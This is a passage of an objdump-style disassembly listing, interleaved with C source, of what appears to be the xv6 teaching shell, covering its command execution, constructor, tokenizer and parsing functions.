1a6: ff 73 04 pushl 0x4(%ebx)
1a9: 68 d2 11 00 00 push $0x11d2
1ae: 6a 02 push $0x2
1b0: e8 bb 0c 00 00 call e70 <printf>
break;
1b5: 83 c4 10 add $0x10,%esp
exit();
1b8: e8 55 0b 00 00 call d12 <exit>
pid = fork();
1bd: e8 48 0b 00 00 call d0a <fork>
if(pid == -1)
1c2: 83 f8 ff cmp $0xffffffff,%eax
1c5: 0f 84 cf 00 00 00 je 29a <runcmd+0x12a>
if(fork1() == 0)
1cb: 85 c0 test %eax,%eax
1cd: 75 e9 jne 1b8 <runcmd+0x48>
runcmd(bcmd->cmd);
1cf: 83 ec 0c sub $0xc,%esp
1d2: ff 73 04 pushl 0x4(%ebx)
1d5: e8 96 ff ff ff call 170 <runcmd>
close(rcmd->fd);
1da: 83 ec 0c sub $0xc,%esp
1dd: ff 73 14 pushl 0x14(%ebx)
1e0: e8 55 0b 00 00 call d3a <close>
if(open(rcmd->file, rcmd->mode) < 0){
1e5: 59 pop %ecx
1e6: 58 pop %eax
1e7: ff 73 10 pushl 0x10(%ebx)
1ea: ff 73 08 pushl 0x8(%ebx)
1ed: e8 60 0b 00 00 call d52 <open>
1f2: 83 c4 10 add $0x10,%esp
1f5: 85 c0 test %eax,%eax
1f7: 79 d6 jns 1cf <runcmd+0x5f>
printf(2, "open %s failed\n", rcmd->file);
1f9: 52 push %edx
1fa: ff 73 08 pushl 0x8(%ebx)
1fd: 68 e2 11 00 00 push $0x11e2
202: 6a 02 push $0x2
204: e8 67 0c 00 00 call e70 <printf>
exit();
209: e8 04 0b 00 00 call d12 <exit>
if(pipe(p) < 0)
20e: 8d 45 f0 lea -0x10(%ebp),%eax
211: 83 ec 0c sub $0xc,%esp
214: 50 push %eax
215: e8 08 0b 00 00 call d22 <pipe>
21a: 83 c4 10 add $0x10,%esp
21d: 85 c0 test %eax,%eax
21f: 0f 88 b0 00 00 00 js 2d5 <runcmd+0x165>
pid = fork();
225: e8 e0 0a 00 00 call d0a <fork>
if(pid == -1)
22a: 83 f8 ff cmp $0xffffffff,%eax
22d: 74 6b je 29a <runcmd+0x12a>
if(fork1() == 0){
22f: 85 c0 test %eax,%eax
231: 0f 84 ab 00 00 00 je 2e2 <runcmd+0x172>
pid = fork();
237: e8 ce 0a 00 00 call d0a <fork>
if(pid == -1)
23c: 83 f8 ff cmp $0xffffffff,%eax
23f: 74 59 je 29a <runcmd+0x12a>
if(fork1() == 0){
241: 85 c0 test %eax,%eax
243: 74 62 je 2a7 <runcmd+0x137>
close(p[0]);
245: 83 ec 0c sub $0xc,%esp
248: ff 75 f0 pushl -0x10(%ebp)
24b: e8 ea 0a 00 00 call d3a <close>
close(p[1]);
250: 58 pop %eax
251: ff 75 f4 pushl -0xc(%ebp)
254: e8 e1 0a 00 00 call d3a <close>
wait();
259: e8 bc 0a 00 00 call d1a <wait>
wait();
25e: e8 b7 0a 00 00 call d1a <wait>
break;
263: 83 c4 10 add $0x10,%esp
266: e9 4d ff ff ff jmp 1b8 <runcmd+0x48>
pid = fork();
26b: e8 9a 0a 00 00 call d0a <fork>
if(pid == -1)
270: 83 f8 ff cmp $0xffffffff,%eax
273: 74 25 je 29a <runcmd+0x12a>
if(fork1() == 0)
275: 85 c0 test %eax,%eax
277: 0f 84 52 ff ff ff je 1cf <runcmd+0x5f>
wait();
27d: e8 98 0a 00 00 call d1a <wait>
runcmd(lcmd->right);
282: 83 ec 0c sub $0xc,%esp
285: ff 73 08 pushl 0x8(%ebx)
288: e8 e3 fe ff ff call 170 <runcmd>
panic("runcmd");
28d: 83 ec 0c sub $0xc,%esp
290: 68 cb 11 00 00 push $0x11cb
295: e8 b6 fe ff ff call 150 <panic>
panic("fork");
29a: 83 ec 0c sub $0xc,%esp
29d: 68 f2 11 00 00 push $0x11f2
2a2: e8 a9 fe ff ff call 150 <panic>
close(0);
2a7: 83 ec 0c sub $0xc,%esp
2aa: 6a 00 push $0x0
2ac: e8 89 0a 00 00 call d3a <close>
dup(p[0]);
2b1: 5a pop %edx
2b2: ff 75 f0 pushl -0x10(%ebp)
2b5: e8 d0 0a 00 00 call d8a <dup>
close(p[0]);
2ba: 59 pop %ecx
2bb: ff 75 f0 pushl -0x10(%ebp)
2be: e8 77 0a 00 00 call d3a <close>
close(p[1]);
2c3: 58 pop %eax
2c4: ff 75 f4 pushl -0xc(%ebp)
2c7: e8 6e 0a 00 00 call d3a <close>
runcmd(pcmd->right);
2cc: 58 pop %eax
2cd: ff 73 08 pushl 0x8(%ebx)
2d0: e8 9b fe ff ff call 170 <runcmd>
panic("pipe");
2d5: 83 ec 0c sub $0xc,%esp
2d8: 68 f7 11 00 00 push $0x11f7
2dd: e8 6e fe ff ff call 150 <panic>
close(1);
2e2: 83 ec 0c sub $0xc,%esp
2e5: 6a 01 push $0x1
2e7: e8 4e 0a 00 00 call d3a <close>
dup(p[1]);
2ec: 58 pop %eax
2ed: ff 75 f4 pushl -0xc(%ebp)
2f0: e8 95 0a 00 00 call d8a <dup>
close(p[0]);
2f5: 58 pop %eax
2f6: ff 75 f0 pushl -0x10(%ebp)
2f9: e8 3c 0a 00 00 call d3a <close>
close(p[1]);
2fe: 58 pop %eax
2ff: ff 75 f4 pushl -0xc(%ebp)
302: e8 33 0a 00 00 call d3a <close>
runcmd(pcmd->left);
307: 58 pop %eax
308: ff 73 04 pushl 0x4(%ebx)
30b: e8 60 fe ff ff call 170 <runcmd>
00000310 <fork1>:
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 83 ec 08 sub $0x8,%esp
pid = fork();
316: e8 ef 09 00 00 call d0a <fork>
if(pid == -1)
31b: 83 f8 ff cmp $0xffffffff,%eax
31e: 74 02 je 322 <fork1+0x12>
return pid;
}
320: c9 leave
321: c3 ret
panic("fork");
322: 83 ec 0c sub $0xc,%esp
325: 68 f2 11 00 00 push $0x11f2
32a: e8 21 fe ff ff call 150 <panic>
32f: 90 nop
00000330 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 53 push %ebx
334: 83 ec 10 sub $0x10,%esp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
337: 6a 54 push $0x54
339: e8 92 0d 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
33e: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
341: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
343: 6a 54 push $0x54
345: 6a 00 push $0x0
347: 50 push %eax
348: e8 23 08 00 00 call b70 <memset>
cmd->type = EXEC;
34d: c7 03 01 00 00 00 movl $0x1,(%ebx)
return (struct cmd*)cmd;
}
353: 89 d8 mov %ebx,%eax
355: 8b 5d fc mov -0x4(%ebp),%ebx
358: c9 leave
359: c3 ret
35a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000360 <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 53 push %ebx
364: 83 ec 10 sub $0x10,%esp
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
367: 6a 18 push $0x18
369: e8 62 0d 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
36e: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
371: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
373: 6a 18 push $0x18
375: 6a 00 push $0x0
377: 50 push %eax
378: e8 f3 07 00 00 call b70 <memset>
cmd->type = REDIR;
cmd->cmd = subcmd;
37d: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = REDIR;
380: c7 03 02 00 00 00 movl $0x2,(%ebx)
cmd->cmd = subcmd;
386: 89 43 04 mov %eax,0x4(%ebx)
cmd->file = file;
389: 8b 45 0c mov 0xc(%ebp),%eax
38c: 89 43 08 mov %eax,0x8(%ebx)
cmd->efile = efile;
38f: 8b 45 10 mov 0x10(%ebp),%eax
392: 89 43 0c mov %eax,0xc(%ebx)
cmd->mode = mode;
395: 8b 45 14 mov 0x14(%ebp),%eax
398: 89 43 10 mov %eax,0x10(%ebx)
cmd->fd = fd;
39b: 8b 45 18 mov 0x18(%ebp),%eax
39e: 89 43 14 mov %eax,0x14(%ebx)
return (struct cmd*)cmd;
}
3a1: 89 d8 mov %ebx,%eax
3a3: 8b 5d fc mov -0x4(%ebp),%ebx
3a6: c9 leave
3a7: c3 ret
3a8: 90 nop
3a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003b0 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 53 push %ebx
3b4: 83 ec 10 sub $0x10,%esp
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
3b7: 6a 0c push $0xc
3b9: e8 12 0d 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
3be: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
3c1: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
3c3: 6a 0c push $0xc
3c5: 6a 00 push $0x0
3c7: 50 push %eax
3c8: e8 a3 07 00 00 call b70 <memset>
cmd->type = PIPE;
cmd->left = left;
3cd: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = PIPE;
3d0: c7 03 03 00 00 00 movl $0x3,(%ebx)
cmd->left = left;
3d6: 89 43 04 mov %eax,0x4(%ebx)
cmd->right = right;
3d9: 8b 45 0c mov 0xc(%ebp),%eax
3dc: 89 43 08 mov %eax,0x8(%ebx)
return (struct cmd*)cmd;
}
3df: 89 d8 mov %ebx,%eax
3e1: 8b 5d fc mov -0x4(%ebp),%ebx
3e4: c9 leave
3e5: c3 ret
3e6: 8d 76 00 lea 0x0(%esi),%esi
3e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003f0 <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 53 push %ebx
3f4: 83 ec 10 sub $0x10,%esp
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
3f7: 6a 0c push $0xc
3f9: e8 d2 0c 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
3fe: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
401: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
403: 6a 0c push $0xc
405: 6a 00 push $0x0
407: 50 push %eax
408: e8 63 07 00 00 call b70 <memset>
cmd->type = LIST;
cmd->left = left;
40d: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = LIST;
410: c7 03 04 00 00 00 movl $0x4,(%ebx)
cmd->left = left;
416: 89 43 04 mov %eax,0x4(%ebx)
cmd->right = right;
419: 8b 45 0c mov 0xc(%ebp),%eax
41c: 89 43 08 mov %eax,0x8(%ebx)
return (struct cmd*)cmd;
}
41f: 89 d8 mov %ebx,%eax
421: 8b 5d fc mov -0x4(%ebp),%ebx
424: c9 leave
425: c3 ret
426: 8d 76 00 lea 0x0(%esi),%esi
429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000430 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 53 push %ebx
434: 83 ec 10 sub $0x10,%esp
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
437: 6a 08 push $0x8
439: e8 92 0c 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
43e: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
441: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
443: 6a 08 push $0x8
445: 6a 00 push $0x0
447: 50 push %eax
448: e8 23 07 00 00 call b70 <memset>
cmd->type = BACK;
cmd->cmd = subcmd;
44d: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = BACK;
450: c7 03 05 00 00 00 movl $0x5,(%ebx)
cmd->cmd = subcmd;
456: 89 43 04 mov %eax,0x4(%ebx)
return (struct cmd*)cmd;
}
459: 89 d8 mov %ebx,%eax
45b: 8b 5d fc mov -0x4(%ebp),%ebx
45e: c9 leave
45f: c3 ret
00000460 <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
460: 55 push %ebp
461: 89 e5 mov %esp,%ebp
463: 57 push %edi
464: 56 push %esi
465: 53 push %ebx
466: 83 ec 0c sub $0xc,%esp
char *s;
int ret;
s = *ps;
469: 8b 45 08 mov 0x8(%ebp),%eax
{
46c: 8b 5d 0c mov 0xc(%ebp),%ebx
46f: 8b 7d 10 mov 0x10(%ebp),%edi
s = *ps;
472: 8b 30 mov (%eax),%esi
while(s < es && strchr(whitespace, *s))
474: 39 de cmp %ebx,%esi
476: 72 0f jb 487 <gettoken+0x27>
478: eb 25 jmp 49f <gettoken+0x3f>
47a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
s++;
480: 83 c6 01 add $0x1,%esi
while(s < es && strchr(whitespace, *s))
483: 39 f3 cmp %esi,%ebx
485: 74 18 je 49f <gettoken+0x3f>
487: 0f be 06 movsbl (%esi),%eax
48a: 83 ec 08 sub $0x8,%esp
48d: 50 push %eax
48e: 68 7c 18 00 00 push $0x187c
493: e8 f8 06 00 00 call b90 <strchr>
498: 83 c4 10 add $0x10,%esp
49b: 85 c0 test %eax,%eax
49d: 75 e1 jne 480 <gettoken+0x20>
if(q)
49f: 85 ff test %edi,%edi
4a1: 74 02 je 4a5 <gettoken+0x45>
*q = s;
4a3: 89 37 mov %esi,(%edi)
ret = *s;
4a5: 0f be 06 movsbl (%esi),%eax
switch(*s){
4a8: 3c 29 cmp $0x29,%al
4aa: 7f 54 jg 500 <gettoken+0xa0>
4ac: 3c 28 cmp $0x28,%al
4ae: 0f 8d c8 00 00 00 jge 57c <gettoken+0x11c>
4b4: 31 ff xor %edi,%edi
4b6: 84 c0 test %al,%al
4b8: 0f 85 d2 00 00 00 jne 590 <gettoken+0x130>
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
4be: 8b 55 14 mov 0x14(%ebp),%edx
4c1: 85 d2 test %edx,%edx
4c3: 74 05 je 4ca <gettoken+0x6a>
*eq = s;
4c5: 8b 45 14 mov 0x14(%ebp),%eax
4c8: 89 30 mov %esi,(%eax)
while(s < es && strchr(whitespace, *s))
4ca: 39 de cmp %ebx,%esi
4cc: 72 09 jb 4d7 <gettoken+0x77>
4ce: eb 1f jmp 4ef <gettoken+0x8f>
s++;
4d0: 83 c6 01 add $0x1,%esi
while(s < es && strchr(whitespace, *s))
4d3: 39 f3 cmp %esi,%ebx
4d5: 74 18 je 4ef <gettoken+0x8f>
4d7: 0f be 06 movsbl (%esi),%eax
4da: 83 ec 08 sub $0x8,%esp
4dd: 50 push %eax
4de: 68 7c 18 00 00 push $0x187c
4e3: e8 a8 06 00 00 call b90 <strchr>
4e8: 83 c4 10 add $0x10,%esp
4eb: 85 c0 test %eax,%eax
4ed: 75 e1 jne 4d0 <gettoken+0x70>
*ps = s;
4ef: 8b 45 08 mov 0x8(%ebp),%eax
4f2: 89 30 mov %esi,(%eax)
return ret;
}
4f4: 8d 65 f4 lea -0xc(%ebp),%esp
4f7: 89 f8 mov %edi,%eax
4f9: 5b pop %ebx
4fa: 5e pop %esi
4fb: 5f pop %edi
4fc: 5d pop %ebp
4fd: c3 ret
4fe: 66 90 xchg %ax,%ax
switch(*s){
500: 3c 3e cmp $0x3e,%al
502: 75 1c jne 520 <gettoken+0xc0>
if(*s == '>'){
504: 80 7e 01 3e cmpb $0x3e,0x1(%esi)
s++;
508: 8d 46 01 lea 0x1(%esi),%eax
if(*s == '>'){
50b: 0f 84 a4 00 00 00 je 5b5 <gettoken+0x155>
s++;
511: 89 c6 mov %eax,%esi
513: bf 3e 00 00 00 mov $0x3e,%edi
518: eb a4 jmp 4be <gettoken+0x5e>
51a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
switch(*s){
520: 7f 56 jg 578 <gettoken+0x118>
522: 8d 48 c5 lea -0x3b(%eax),%ecx
525: 80 f9 01 cmp $0x1,%cl
528: 76 52 jbe 57c <gettoken+0x11c>
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
52a: 39 f3 cmp %esi,%ebx
52c: 77 24 ja 552 <gettoken+0xf2>
52e: eb 70 jmp 5a0 <gettoken+0x140>
530: 0f be 06 movsbl (%esi),%eax
533: 83 ec 08 sub $0x8,%esp
536: 50 push %eax
537: 68 74 18 00 00 push $0x1874
53c: e8 4f 06 00 00 call b90 <strchr>
541: 83 c4 10 add $0x10,%esp
544: 85 c0 test %eax,%eax
546: 75 1f jne 567 <gettoken+0x107>
s++;
548: 83 c6 01 add $0x1,%esi
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
54b: 39 f3 cmp %esi,%ebx
54d: 74 51 je 5a0 <gettoken+0x140>
54f: 0f be 06 movsbl (%esi),%eax
552: 83 ec 08 sub $0x8,%esp
555: 50 push %eax
556: 68 7c 18 00 00 push $0x187c
55b: e8 30 06 00 00 call b90 <strchr>
560: 83 c4 10 add $0x10,%esp
563: 85 c0 test %eax,%eax
565: 74 c9 je 530 <gettoken+0xd0>
ret = 'a';
567: bf 61 00 00 00 mov $0x61,%edi
56c: e9 4d ff ff ff jmp 4be <gettoken+0x5e>
571: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
switch(*s){
578: 3c 7c cmp $0x7c,%al
57a: 75 ae jne 52a <gettoken+0xca>
ret = *s;
57c: 0f be f8 movsbl %al,%edi
s++;
57f: 83 c6 01 add $0x1,%esi
break;
582: e9 37 ff ff ff jmp 4be <gettoken+0x5e>
587: 89 f6 mov %esi,%esi
589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
switch(*s){
590: 3c 26 cmp $0x26,%al
592: 75 96 jne 52a <gettoken+0xca>
594: eb e6 jmp 57c <gettoken+0x11c>
596: 8d 76 00 lea 0x0(%esi),%esi
599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(eq)
5a0: 8b 45 14 mov 0x14(%ebp),%eax
5a3: bf 61 00 00 00 mov $0x61,%edi
5a8: 85 c0 test %eax,%eax
5aa: 0f 85 15 ff ff ff jne 4c5 <gettoken+0x65>
5b0: e9 3a ff ff ff jmp 4ef <gettoken+0x8f>
s++;
5b5: 83 c6 02 add $0x2,%esi
ret = '+';
5b8: bf 2b 00 00 00 mov $0x2b,%edi
5bd: e9 fc fe ff ff jmp 4be <gettoken+0x5e>
5c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000005d0 <peek>:
int
peek(char **ps, char *es, char *toks)
{
5d0: 55 push %ebp
5d1: 89 e5 mov %esp,%ebp
5d3: 57 push %edi
5d4: 56 push %esi
5d5: 53 push %ebx
5d6: 83 ec 0c sub $0xc,%esp
5d9: 8b 7d 08 mov 0x8(%ebp),%edi
5dc: 8b 75 0c mov 0xc(%ebp),%esi
char *s;
s = *ps;
5df: 8b 1f mov (%edi),%ebx
while(s < es && strchr(whitespace, *s))
5e1: 39 f3 cmp %esi,%ebx
5e3: 72 12 jb 5f7 <peek+0x27>
5e5: eb 28 jmp 60f <peek+0x3f>
5e7: 89 f6 mov %esi,%esi
5e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
s++;
5f0: 83 c3 01 add $0x1,%ebx
while(s < es && strchr(whitespace, *s))
5f3: 39 de cmp %ebx,%esi
5f5: 74 18 je 60f <peek+0x3f>
5f7: 0f be 03 movsbl (%ebx),%eax
5fa: 83 ec 08 sub $0x8,%esp
5fd: 50 push %eax
5fe: 68 7c 18 00 00 push $0x187c
603: e8 88 05 00 00 call b90 <strchr>
608: 83 c4 10 add $0x10,%esp
60b: 85 c0 test %eax,%eax
60d: 75 e1 jne 5f0 <peek+0x20>
*ps = s;
60f: 89 1f mov %ebx,(%edi)
return *s && strchr(toks, *s);
611: 0f be 13 movsbl (%ebx),%edx
614: 31 c0 xor %eax,%eax
616: 84 d2 test %dl,%dl
618: 74 17 je 631 <peek+0x61>
61a: 83 ec 08 sub $0x8,%esp
61d: 52 push %edx
61e: ff 75 10 pushl 0x10(%ebp)
621: e8 6a 05 00 00 call b90 <strchr>
626: 83 c4 10 add $0x10,%esp
629: 85 c0 test %eax,%eax
62b: 0f 95 c0 setne %al
62e: 0f b6 c0 movzbl %al,%eax
}
631: 8d 65 f4 lea -0xc(%ebp),%esp
634: 5b pop %ebx
635: 5e pop %esi
636: 5f pop %edi
637: 5d pop %ebp
638: c3 ret
639: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000640 <parseredirs>:
return cmd;
}
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
640: 55 push %ebp
641: 89 e5 mov %esp,%ebp
643: 57 push %edi
644: 56 push %esi
645: 53 push %ebx
646: 83 ec 1c sub $0x1c,%esp
649: 8b 75 0c mov 0xc(%ebp),%esi
64c: 8b 5d 10 mov 0x10(%ebp),%ebx
64f: 90 nop
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
650: 83 ec 04 sub $0x4,%esp
653: 68 19 12 00 00 push $0x1219
658: 53 push %ebx
659: 56 push %esi
65a: e8 71 ff ff ff call 5d0 <peek>
65f: 83 c4 10 add $0x10,%esp
662: 85 c0 test %eax,%eax
664: 74 6a je 6d0 <parseredirs+0x90>
tok = gettoken(ps, es, 0, 0);
666: 6a 00 push $0x0
668: 6a 00 push $0x0
66a: 53 push %ebx
66b: 56 push %esi
66c: e8 ef fd ff ff call 460 <gettoken>
671: 89 c7 mov %eax,%edi
if(gettoken(ps, es, &q, &eq) != 'a')
673: 8d 45 e4 lea -0x1c(%ebp),%eax
676: 50 push %eax
677: 8d 45 e0 lea -0x20(%ebp),%eax
67a: 50 push %eax
67b: 53 push %ebx
67c: 56 push %esi
67d: e8 de fd ff ff call 460 <gettoken>
682: 83 c4 20 add $0x20,%esp
685: 83 f8 61 cmp $0x61,%eax
688: 75 51 jne 6db <parseredirs+0x9b>
panic("missing file for redirection");
switch(tok){
68a: 83 ff 3c cmp $0x3c,%edi
68d: 74 31 je 6c0 <parseredirs+0x80>
68f: 83 ff 3e cmp $0x3e,%edi
692: 74 05 je 699 <parseredirs+0x59>
694: 83 ff 2b cmp $0x2b,%edi
697: 75 b7 jne 650 <parseredirs+0x10>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
699: 83 ec 0c sub $0xc,%esp
69c: 6a 01 push $0x1
69e: 68 01 02 00 00 push $0x201
6a3: ff 75 e4 pushl -0x1c(%ebp)
6a6: ff 75 e0 pushl -0x20(%ebp)
6a9: ff 75 08 pushl 0x8(%ebp)
6ac: e8 af fc ff ff call 360 <redircmd>
break;
6b1: 83 c4 20 add $0x20,%esp
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
6b4: 89 45 08 mov %eax,0x8(%ebp)
break;
6b7: eb 97 jmp 650 <parseredirs+0x10>
6b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
6c0: 83 ec 0c sub $0xc,%esp
6c3: 6a 00 push $0x0
6c5: 6a 00 push $0x0
6c7: eb da jmp 6a3 <parseredirs+0x63>
6c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
}
return cmd;
}
6d0: 8b 45 08 mov 0x8(%ebp),%eax
6d3: 8d 65 f4 lea -0xc(%ebp),%esp
6d6: 5b pop %ebx
6d7: 5e pop %esi
6d8: 5f pop %edi
6d9: 5d pop %ebp
6da: c3 ret
panic("missing file for redirection");
6db: 83 ec 0c sub $0xc,%esp
6de: 68 fc 11 00 00 push $0x11fc
6e3: e8 68 fa ff ff call 150 <panic>
6e8: 90 nop
6e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000006f0 <parseexec>:
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
6f0: 55 push %ebp
6f1: 89 e5 mov %esp,%ebp
6f3: 57 push %edi
6f4: 56 push %esi
6f5: 53 push %ebx
6f6: 83 ec 30 sub $0x30,%esp
6f9: 8b 75 08 mov 0x8(%ebp),%esi
6fc: 8b 7d 0c mov 0xc(%ebp),%edi
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
6ff: 68 1c 12 00 00 push $0x121c
704: 57 push %edi
705: 56 push %esi
706: e8 c5 fe ff ff call 5d0 <peek>
70b: 83 c4 10 add $0x10,%esp
70e: 85 c0 test %eax,%eax
710: 0f 85 92 00 00 00 jne 7a8 <parseexec+0xb8>
716: 89 c3 mov %eax,%ebx
return parseblock(ps, es);
ret = execcmd();
718: e8 13 fc ff ff call 330 <execcmd>
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
71d: 83 ec 04 sub $0x4,%esp
ret = execcmd();
720: 89 45 d0 mov %eax,-0x30(%ebp)
ret = parseredirs(ret, ps, es);
723: 57 push %edi
724: 56 push %esi
725: 50 push %eax
726: e8 15 ff ff ff call 640 <parseredirs>
72b: 83 c4 10 add $0x10,%esp
72e: 89 45 d4 mov %eax,-0x2c(%ebp)
731: eb 18 jmp 74b <parseexec+0x5b>
733: 90 nop
734: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cmd->argv[argc] = q;
cmd->eargv[argc] = eq;
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
738: 83 ec 04 sub $0x4,%esp
73b: 57 push %edi
73c: 56 push %esi
73d: ff 75 d4 pushl -0x2c(%ebp)
740: e8 fb fe ff ff call 640 <parseredirs>
745: 83 c4 10 add $0x10,%esp
748: 89 45 d4 mov %eax,-0x2c(%ebp)
while(!peek(ps, es, "|)&;")){
74b: 83 ec 04 sub $0x4,%esp
74e: 68 33 12 00 00 push $0x1233
753: 57 push %edi
754: 56 push %esi
755: e8 76 fe ff ff call 5d0 <peek>
75a: 83 c4 10 add $0x10,%esp
75d: 85 c0 test %eax,%eax
75f: 75 67 jne 7c8 <parseexec+0xd8>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
761: 8d 45 e4 lea -0x1c(%ebp),%eax
764: 50 push %eax
765: 8d 45 e0 lea -0x20(%ebp),%eax
768: 50 push %eax
769: 57 push %edi
76a: 56 push %esi
76b: e8 f0 fc ff ff call 460 <gettoken>
770: 83 c4 10 add $0x10,%esp
773: 85 c0 test %eax,%eax
775: 74 51 je 7c8 <parseexec+0xd8>
if(tok != 'a')
777: 83 f8 61 cmp $0x61,%eax
77a: 75 6b jne 7e7 <parseexec+0xf7>
cmd->argv[argc] = q;
77c: 8b 45 e0 mov -0x20(%ebp),%eax
77f: 8b 55 d0 mov -0x30(%ebp),%edx
782: 89 44 9a 04 mov %eax,0x4(%edx,%ebx,4)
cmd->eargv[argc] = eq;
786: 8b 45 e4 mov -0x1c(%ebp),%eax
789: 89 44 9a 2c mov %eax,0x2c(%edx,%ebx,4)
argc++;
78d: 83 c3 01 add $0x1,%ebx
if(argc >= MAXARGS)
790: 83 fb 0a cmp $0xa,%ebx
793: 75 a3 jne 738 <parseexec+0x48>
panic("too many args");
795: 83 ec 0c sub $0xc,%esp
798: 68 25 12 00 00 push $0x1225
79d: e8 ae f9 ff ff call 150 <panic>
7a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return parseblock(ps, es);
7a8: 83 ec 08 sub $0x8,%esp
7ab: 57 push %edi
7ac: 56 push %esi
7ad: e8 5e 01 00 00 call 910 <parseblock>
7b2: 83 c4 10 add $0x10,%esp
7b5: 89 45 d4 mov %eax,-0x2c(%ebp)
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
return ret;
}
7b8: 8b 45 d4 mov -0x2c(%ebp),%eax
7bb: 8d 65 f4 lea -0xc(%ebp),%esp
7be: 5b pop %ebx
7bf: 5e pop %esi
7c0: 5f pop %edi
7c1: 5d pop %ebp
7c2: c3 ret
7c3: 90 nop
7c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
7c8: 8b 45 d0 mov -0x30(%ebp),%eax
7cb: 8d 04 98 lea (%eax,%ebx,4),%eax
cmd->argv[argc] = 0;
7ce: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
cmd->eargv[argc] = 0;
7d5: c7 40 2c 00 00 00 00 movl $0x0,0x2c(%eax)
}
7dc: 8b 45 d4 mov -0x2c(%ebp),%eax
7df: 8d 65 f4 lea -0xc(%ebp),%esp
7e2: 5b pop %ebx
7e3: 5e pop %esi
7e4: 5f pop %edi
7e5: 5d pop %ebp
7e6: c3 ret
panic("syntax");
7e7: 83 ec 0c sub $0xc,%esp
7ea: 68 1e 12 00 00 push $0x121e
7ef: e8 5c f9 ff ff call 150 <panic>
7f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000800 <parsepipe>:
{
800: 55 push %ebp
801: 89 e5 mov %esp,%ebp
